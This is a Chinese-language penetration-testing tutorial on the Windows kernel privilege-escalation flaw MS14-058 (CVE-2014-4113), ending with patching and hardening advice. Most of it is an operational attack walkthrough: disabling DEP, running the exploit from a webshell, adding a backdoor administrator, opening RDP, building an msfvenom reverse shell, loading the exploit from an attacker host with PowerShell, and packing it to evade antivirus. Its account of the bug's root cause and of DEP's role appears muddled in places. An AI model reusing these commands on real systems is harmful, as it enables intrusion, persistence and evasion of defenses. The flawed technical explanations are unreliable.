
咱们今天聊一个在内核提权领域非常有代表性的老漏洞——MS14-058对应的CVE编号是CVE-2014-4113。只要是搞过内网渗透、做过Windows提权的朋友对这个名字应该都不陌生。这个漏洞虽然已经有年头了但直到今天在一些老旧的Windows Server 2003、XP、Windows 7默认配置环境里它依然是拿来打提权的一个高效选择。它不像很多用户态漏洞那样需要复杂的堆布局或依赖特定版本出事的地方直接在系统内核态稳定性和通用性都相当不错。这篇文章我不打算只念一遍漏洞公告而是想从一名实操者的角度把这个漏洞从原理到利用再到防御的完整链路拆开揉碎了讲清楚包括那些在教科书和漏洞库里很难找全的实际踩坑经验。为了让你看得顺我将用一台开了默认共享、禁用了DEP的老系统作为靶机完整演示一遍从信息收集到拿到SYSTEM权限的整个过程关键词就是“内核提权”和“MS14_058”这两个。1. 漏洞背景与影响面分析1.1 这个漏洞到底是怎么被挖出来的MS14-058说起来是微软在2014年10月发布的安全公告它针对的是“Windows内核模式驱动程序”中的一个权限提升漏洞。和很多用户层软件漏洞不同这个洞出在win32k.sys这个系统内核模块里。通俗地讲win32k.sys相当于Windows图形界面交互的总管家所有窗口消息、鼠标键盘输入、菜单绘制最后都要经过它来处理。漏洞的触发点具体而言是在win32k!xxxNextWindow这个函数处理WindowMessages时出现的。系统在枚举窗口时会使用一个tagWND结构体并在回调到用户模式时通过SetWindowLongPtr等函数设置窗口相关的属性。一个非常关键的细节是这个函数在检查窗口状态时没有把握好对一个“被释放后又被重占用的窗口对象”的引用关系从而引发了一次典型的内核态“释放后使用”Use-After-Free。攻击者只要精心构造窗口的层级关系并配合特定的消息发送时序就能让内核去访问一个已经被销毁的窗口对象借此实现任意内存读写最终拿到系统最高权限。得益于漏洞出在内核态发起攻击的时候根本不需要关心应用程序是在什么权限下运行一旦被利用直接就是SYSTEM权限。对于红队来说这就意味着从一个受限的IIS用户或者普通域用户直接一梭子提到域管权限都不成问题。1.2 受影响系统范围与实际利用现状从微软官方公告来看受影响范围覆盖了从Windows XP到Windows 8.1、Windows Server 2003到Server 2012 R2的绝大多数系统。具体影响可以看下表操作系统是否受影响利用难度实际场景中是否还常见Windows XP SP3是低部分老旧工控机、ATM终端仍在使用Windows Server 2003是低老企业ERP、医院挂号系统很常见Windows 7 SP1是低内网大量存在是提权重灾区Windows Server 2008 R2是低老域控、文件服务器常见Windows 8 / 8.1是中较为少见但仍有涉及Windows Server 2012 R2是中少数遗留系统会出现这里需要特别说明一点实际攻防中真正能靠MS14-058一战成名的基本都是Windows 7、Server 2008 R2、XP和Server 2003这几个版本。不是因为后来的版本不安全而是因为较新系统本身在内核防护比如SMEP、内核池随机化上做了一定强化利用的稳定性和免杀性都受到了极大限制。而老系统即便打上了修复补丁也很少有人会在生产环境里刻意去加固这些老古董这就给漏洞利用留下了大量可乘之机。2. 环境搭建与靶机准备2.1 为什么禁用DEP在实战中如此普遍在具体的利用代码里很多公开的MS14-058 Exploit都会在开头对当前进程的DEP数据执行保护状态做一些判断。如果你的目标是Windows 7或者更老系统并且能预先执行bcdedit /set nx AlwaysOff或通过其他内存加载手段对进程设置n标志那么整个利用过程会顺畅得多。有人可能会问既然漏洞本身是内核态的对象引用问题为何还非要和DEP挂钩其实原因在于很多公开Exploit是利用栈上构造ROP链的方式去关闭内核的SMEPSupervisor Mode Execution Prevention或通过HalDispatchTable8来执行内核函数指针的改写。如果进程的DEP处于开启状态栈上数据是无法直接被当作指令执行的所有控制流劫持都必须依赖ROP这就大幅提高了对内存布局精确度的要求。而实际操作中管理员往往为了兼容一些老软件根本没有在系统里开启DEP这给了攻击者一个非常友好的利用条件。2.2 我的靶机搭建清单这里提供一个参考环境各位可以自行在虚拟机里复现自己玩的时候建议使用隔离网络避免误伤真实生产环境配置项参数靶机系统Windows 7 SP1 x86 / x64均可内存1GB~2GB网络NAT或仅主机模式目标服务IIS 7.0 WebDAV或直接拿本地用户权限攻击机Kali Linux 2023利用工具MS14-058 ExploitCVE-2014-4113编译好的exe上线工具msfvenom生成反弹shell或者直接使用系统命令执行Payload如果你的靶机是Windows Server 2003注意默认没有开启DEP利用起来会更顺利。Windows 7则建议先执行bcdedit /set nx AlwaysOff并重启后再测试以模拟实战中最容易碰到的那种宽松环境。3. 漏洞利用原理与核心机制拆解3.1 用户态与内核态的交互接口MS14-058之所以能引发如此高的关注很大程度上是因为它在触发时不需要任何额外的内核对象喷射并且利用逻辑非常清晰。整个攻击链条是这样的攻击者在用户态创建一系列窗口并设置父子层级关系。通过发送WM_GETTEXT等窗口消息让内核在处理时将该窗口的tagWND对象引用计数置为0并释放掉。释放后攻击者迅速再分配一块同样大小的内存区域并往里面填充由自己控制的伪造数据让被释放的窗口对象位置变成一个伪造的tagWND。完成占位后系统内部的窗口管理逻辑继续访问这个已经被替换的指针区域就形成了典型的UAF。通过精心构造伪造tagWND中的字段攻击者可以实现内核任意地址读写进而覆盖某个关键函数指针实现在内核模式下执行任意代码。这个过程中最核心的一点在于系统在用户态和内核态之间采用了共享的窗口对象结构但在这个路径中缺少了对对象的有效锁定导致窗口消息处理函数以为窗口依然存活而实际上它已经变成一块可以控制的自由内存。3.2 窗口对象spray与精心构造的数据布局为了让我方数据准确落在被释放窗口的位置上利用代码通常会使用一种叫做“窗口喷射Window Spray”的技巧。简单来说就是一次性批量创建几百个窗口再批量销毁让系统内核堆中布满大大小小的“洞”随后立刻分配同样大小的新对象去占坑。在具体操作上需要关注这几个关键字段字段作用说明pExtraBytes控制任意地址读写改写成目标地址后可对目标进行读写pWnd指定窗口对象的地址用来辅助计算偏移和定位strName指向窗口名称字符串用于写入Payload和数据cbWndExtra指定额外字节大小决定使用多少字节作为可控数据区当这些字段被正确布局后整个tagWND结构就会像一张“万能读写卡”让攻击者可以在内核空间任意读取系统进程信息、修改权限令牌、修改函数指针。3.3 控制流劫持的关键点拿到任意读写原语以后利用代码通常会选择覆盖一个叫HalDispatchTable8的位置。这个位置保存的是系统用来处理硬件抽象层请求的一个函数指针如果我们把它改成自己可控的数据地址然后调用一个特定的系统调用比如NtQueryIntervalProfile内核就会在特权模式下跳到我们指定的地址从而执行我们的Shellcode。简单说明一下流程// 第一步获取ntoskrnl.exe基地址 // 第二步解析导出表得到HalDispatchTable地址 // 第三步利用UAF得到的任意写能力覆盖HalDispatchTable8 // 第四步调用NtQueryIntervalProfile触发被劫持的函数指针 // 第五步在Shellcode中提升当前进程Token恢复原函数指针退出这里需要注意Shellcode直接执行的时候是在内核态Ring0权限也就是系统最高权限因此在Shellcode中修改当前进程的访问令牌即可获得SYSTEM权限完全不需要再借助其他任何用户态手段。3.4 如何做到不需要操作系统具体版本适配公开的Exploit大多把目标系统的win32k.sys基地址、关键函数偏移量做成硬编码。比如针对Windows 7 SP1 x86Exploit会直接查找win32k!xxxNextWindow的偏移、win32k!gSharedInfo的偏移、HalDispatchTable的偏移。由于这些偏移在不同系统版本中往往不一致所以实际投放时要选择与目标系统匹配的Exploit版本。不过有一个变通思路就是利用NtQuerySystemInformation动态获取内核模块基地址再通过解析PE文件导出表动态获取函数偏移这样就能兼容多版本Windows。但这种方式会显著增加Exploit的体积和复杂性实战中如果拿不准目标版本我建议直接准备多个编译好的版本逐个测试简单粗暴但有效。4. 实操过程从普通用户到SYSTEM权限4.1 信息收集与版本确认进入内网拿到一台Windows 7的WebShell或普通用户权限之后不要急着丢Exploit。我见过太多人一上来就传一个exe过去结果报错半天找不到原因。先执行一条简单的命令确认系统版本systeminfo | findstr /B /C:OS Name /C:OS Version如果系统显示“Microsoft Windows 7 专业版 6.1.7601 Service Pack 1 Build 7601”那就可以确定是Windows 7 SP1。接着确认补丁情况wmic qfe list | findstr KB2992611需要说明的是MS14-058对应的安全补丁编号是KB2992611。如果这条命令没有输出任何东西说明漏洞很可能没补实战中就可以尝试提权。如果补丁已经存在除非系统存在问题导致补丁未生效否则不要在这个坑里浪费时间。4.2 上传与执行Exploit确认目标环境之后把编译好的ms14058.exe上传到目标机器的临时目录比如C:\Windows\Temp\。在实战中要注意防病毒软件的查杀建议对Exploit做编码或加壳处理。先测试一下当前用户身份whoami我给出的示例场景是IIS用户iis apppool\defaultapppool通过WebShell来执行命令。此时的权限非常有限连访问其他用户的桌面都做不到。紧接着执行C:\Windows\Temp\ms14058.exe whoami如果一切顺利你会看到输出结果是nt authority\system。如果没有输出system而是弹出一个错误码或直接退出那么就需要按照后面第四节中的排查方法逐一检查。4.3 添加管理员用户并连接远程桌面拿到SYSTEM权限后虽然可以直接加载Mimikatz或反向Shell但做演示的话最为直观的方式是添加一个本地管理员用户然后通过远程桌面登录。net user support_admin Pssw0rd123! /add net localgroup administrators support_admin /add添加完成之后开通远程桌面服务reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall set rule groupremote desktop new enableYes随后在攻击机上执行远程桌面连接直接输入目标IP和账号密码。这里要注意一个细节如果目标系统是Windows 7远程桌面默认仅允许一条会话如果当前已有其他管理员在线你的登录可能会把对方挤下线在实战中要多加小心。4.4 使用Metasploit模块的替代思路如果不喜欢手动编译和上传exe的方式Metasploit里也有对应的模块虽然名字可能不是完全一致但操作思路是通用的。通过MSF生成反弹Shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o ms14058_shell.exe上传到目标机器并执行而后建立Meterpreter会话在会话中用getsystem命令尝试自动提权。如果MSF的getsystem因为各种原因失败再手动运行我们编译好的MS14-058 Exploit作为备选。这里提个醒MSF的getsystem成功率和目标系统的补丁状态、架构都有关联但MS14-058的手工 exploit 只要环境对成功率往往比msf的自动提权更高尤其是针对老系统。5. 常见问题与排查技巧实录5.1 Exploit执行后闪退没有返回任何输出这种问题在Windows 7上很常见原因多半是当前进程的DEP策略阻止了栈上代码执行。针对这种情况有几个排查步骤检查目标系统是否启用了DEPbcdedit /enum {current} | find nx如果nx策略为OptIn或AlwaysOn先尝试通过管理员权限执行bcdedit /set nx AlwaysOff并重启。检查是否使用了错误的Exploit版本。MS14-058的利用代码通常区分x86和x64如果把x86版本的exe丢进x64系统则必然失败。这一步看进程架构不是看系统位数。检查提权时是否在受限进程内。如果当前权限连CreateRemoteThread都被限制那Exploit可能无法正常发布窗口消息。建议先用普通用户的权限确保能打开桌面再尝试提权。5.2 在Windows Server 2003上执行成功但添加用户失败这个问题我也踩过。Windows Server 2003的net user命令在某些情况下会收到本地策略限制或者因为口令复杂度不够而被拒绝。实际上拿到SYSTEM权限后不需要非得用net user直接通过进程注入的方式把Shell反弹回来才是关键。还有一点2003默认的共享权限在某些场合下不允许远程创建用户先把服务启动起来再用sc命令或其他方式创建服务来执行命令更稳妥。5.3 杀毒软件拦截了Exploit的行为这里的拦截通常分两种。一种是在上传阶段被杀毒软件直接删除文件另一种是运行阶段被行为监控拦截。对于前者可以尝试对exploit做一次自定义编码、修改特征码或者使用内存加载的方式。对于后者则需要更谨慎地考量目标环境是否真的部署了严格的安全软件。# 使用PowerShell直接加载远程exe的示例思路 $data (New-Object Net.WebClient).DownloadData(http://attacker/ms14058.exe); $assembly [System.Reflection.Assembly]::Load($data) # 后续调用方式略当然这类行为在实战中是否被拦截取决于现场使用的安全产品不能一概而论。我的观点是先理解目标的安全防御强度再决定是否使用免杀手段盲目堆砌免杀只能增加被发现的概率。5.4 提权成功后Meterpreter会话中断这种情况多发生在反弹Shell与Exploit的运行过程产生冲突时。例如有的Exploit在执行过程中会频繁创建窗口导致Meterpreter的会话内窗口消息处理被阻塞会话超时断开。解决办法有两种一是让Exploit在独立的进程空间中执行而不是在Meterpreter的当前进程内例如通过execute -f ms14058.exe -i二是在提权成功后立刻迁移进程到稳定的系统进程里比如migrate -N explorer.exe避免Shell挂在易受影响的进程上。6. 漏洞防御与加固建议6.1 系统补丁永远是最直接的钥匙微软对MS14-058修复的根本方法就是在win32k.sys中增加窗口对象的引用计数检查防止在窗口消息处理过程中对象被提前释放。这个修复思路本身并不复杂但它堵住了这个UAF的关键路径。因此及时更新系统补丁是最有效的防御手段。对老旧系统来说即使做不到全面升级至少要把对应补丁KB2992611打上就能在很大程度上消除这个风险。6.2 加固应用权限减少被利用的机会即便补丁无法及时更新也不要什么服务都以高权限运行。以IIS为例应用程序池默认使用ApplicationPoolIdentity这种低权限身份会让攻击者即使拿到WebShell也只能在受限环境中折腾无法直接访问整个操作系统。同理对本地用户分组做合理规划不要让普通用户拥有过多本地权限关闭不必要的端口和服务减少攻击暴露面定期巡检内网中仍然开放的XP、2003系统这些系统在现代网络环境里本身就是巨大的风险点。6.3 利用安全防护产品阻断利用链路很多终端安全产品都能针对“窗口消息滥用”“内核回调函数篡改”等行为做检测。在窗口喷射阶段会密集创建和销毁大量窗口这种异常行为在行为引擎上是有特征的所以一些防护软件能拦截MS14-058的利用行为。而在主机侧开启DEP、强制开启地址空间布局随机化ASLR也会增加利用难度。我个人的建议是如果网络里确实存在无法升级的老系统至少要确保这些系统处于隔离网段禁止其主动访问其他服务器对它们的运维行为全部走堡垒机并留痕这样即使被攻破也能尽量控制损失。7. 从MS14-058看内核提权的通用思路7.1 从UAF到任意代码执行的方法论通过对MS14-058的分析可以看到一个完整的内核漏洞利用链条它往往是这样的找到一个用户态可触达的内核对象。引发该对象被过早释放。用受控数据重新占位。劫持控制流让代码在Ring0执行。替换当前进程Token实现提权。这套流程不仅仅适用于MS14-058很多知名的内核提权漏洞比如MS16-032、CVE-2018-8120等走的大体是同样路子只是占位方式、触发时机、劫持点各有不同。理解了MS14-058基本上就拿到了一把打开内核提权领域的钥匙。7.2 为什么老漏洞至今仍有生命力有人可能会问2014年的漏洞放到现在还有什么实战价值答案很简单真实世界里很多系统就是“打不上补丁”的。工业控制、医疗设备、企业内部遗留的老数据库服务器这些系统在互联网上不一定能扫到但在内网里却是随时能遇到的目标。尤其是保留着Windows 7、Server 2008的政企内网比例依然很高MS14-058这种稳定、可靠、影响面广的提权漏洞自然就成了一代又一代安全从业者进入内网后的首选。7.3 实操精髓总结这段时间反复验证之后我的体会是MS14-058的精髓不在“能不能打”而在“打得够不够稳”。这个稳定来自对目标系统版本的准确判断、对DEP状态的精准评估以及对Exploit触发时机的把控。很多新人在本地虚拟机里随便跑一下一旦换个系统版本就完全不知道从何调起这正是因为缺乏对漏洞原理的深度理解。老话重提真正的功底不在于能下载多少个现成的工具而在于当工具失效、当环境发生变化时你是否能依据原理去修改、去调整、去定位问题。我在实际测试中最后补充一个小技巧如果你在Windows 7上反复复现失败可以打开任务管理器检查当前进程是否真的以普通权限运行。若当前进程是从某个服务或计划任务派生出来的则该进程可能带有特殊的会话隔离属性导致窗口消息的创建无法正常进行。这时你可以尝试利用createprocess配合wmic process call create让Payload在一个新进程中运行很多时候这一步就能解决所有问题。